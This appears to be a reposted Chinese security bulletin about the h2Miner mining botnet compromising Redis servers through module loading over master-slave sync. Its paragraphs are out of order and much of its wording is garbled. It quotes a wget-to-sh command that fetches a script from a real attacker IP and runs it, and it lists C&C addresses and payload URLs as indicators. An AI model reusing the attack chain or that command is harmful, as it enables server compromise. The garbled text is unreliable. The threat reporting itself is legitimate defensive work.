威胁快报|Redis RCE导致h2Miner蠕虫新一轮爆发,建议用户及时排查以防事态升级

  • 时间:
  • 浏览:1
  • 来源:彩神幸运飞艇_神彩幸运飞艇官方



恶意线程函数列表

在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的土最好的辦法 进行入侵,什儿 土最好的辦法 受权限与系统类型影响不须一定都都还上能 成功。而此次使用redis加载module的攻击土最好的辦法 ,还时需直接执行任意指令或拿到shell交互环境,危害极大。

除此之外,恶意线程中内置了C&C服务器ip地址,受影响的主将会以http的土最好的辦法 与C&C通信服务器进行通信,其中肉鸡的信息在http头部中标识。

近日,阿里云安全团队发现h2Miner团伙规模总爱急剧上升,在短短几日所影响的主机数量翻了另另另2个数量级,阿里云安全团队在第一时间进行了响应。根据分析,整体的攻击链路如下图:

h2miner主要使用Redis RCE的土最好的辦法 来完成入侵,首先利用Redis未授权或弱口令获取Redis登录权限,并且 利用使用config set dbfilename red2.so来修改保存文件名,并且 使用salveof命令设置主从好友克隆的主机地址。当目标Redis服务与攻击者所有的恶意Redis服务建立主从连接关系后,攻击者控制恶意Redis发送FULLRESYNC进行文件同步,同步的结果会在目标Redis上写入red2.so文件,从而完成了恶意so文件的传输。在此并且 ,攻击者利用module load ./red2.so加载此so文件,此模块根据传入的参数还时需执行任意指令或发起反向连接获取shell环境。

本文作者: 苍珀

致谢:桑铎

在执行这类于/bin/sh -c wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1的恶意指令并且 ,攻击者会将的文件名恢复为默认的,并使用module unload卸载system模块的加载,从而清理相应的痕迹。但依旧在被攻击主机上残留有red2.so文件,建议用户关注自身Redis服务目录下不是有此可疑文件。



内置C&C服务器

攻击链路

此利用土最好的辦法 由Pavel Toporkov在zeronights 2018上分享,在Redis 4.x并且 ,Redis新增了Module功能,使用者还时需在Redis中加载由C语言编译而成的so文件,从而实现特定的Redis命令。而在Redis主从模式下,还时需通过FULLRESYNC同步文件到从机上,从而完成恶意so文件的传输。传输完成后在目标机Redis上进行Module加载,便可执行任意指令。

将会全网redis近百万台的数量,并且阿里云安全团队建议用户尽量不须将redis服务暴露在公网,及时排查相关弱口令问题图片图片及不是受蠕虫影响,必要时可考虑挑选 安全产品帮助保障安全。

h2Miner是另另另2个linux下的挖矿僵尸网络,通过hadoop yarn未授权、docker未授权、confluence RCE、thinkphp5RCE、Redis未授权等多种手段进行入侵,下载恶意脚本及恶意线程进行挖矿牟利,横向扫描扩大攻击面并维持C&C通信。

/kinsing

近日,阿里云安全团队监测到h2Miner挖矿僵尸网络蠕虫的一波总爱爆发,其利用Redis未授权或弱口令作为入口,使用主从同步的土最好的辦法 从恶意服务器上同步恶意module,并且 在目标机器加在载此恶意module并执行恶意指令。

142.44.191.122/t.sh

185.92.74.42/h.sh

142.44.191.122/spr.sh

142.44.191.122/spre.sh

195.3.146.118/unk.sh

c&c

45.10.88.102

91.215.169.111

139.99.100.255

46.243.253.167

195.123.220.193

跟进其使用的恶意脚本,除了杀死不需要 恶意线程以抢夺资源之外,会向http://142.44.191.122/kinsing下载恶意二进制文件并运行,并且主机中所含kinsing的线程或目录将会代表此机器已被该蠕虫"光临"。

根据简单的逆向分析结果显示,该恶意线程主要有以下功能: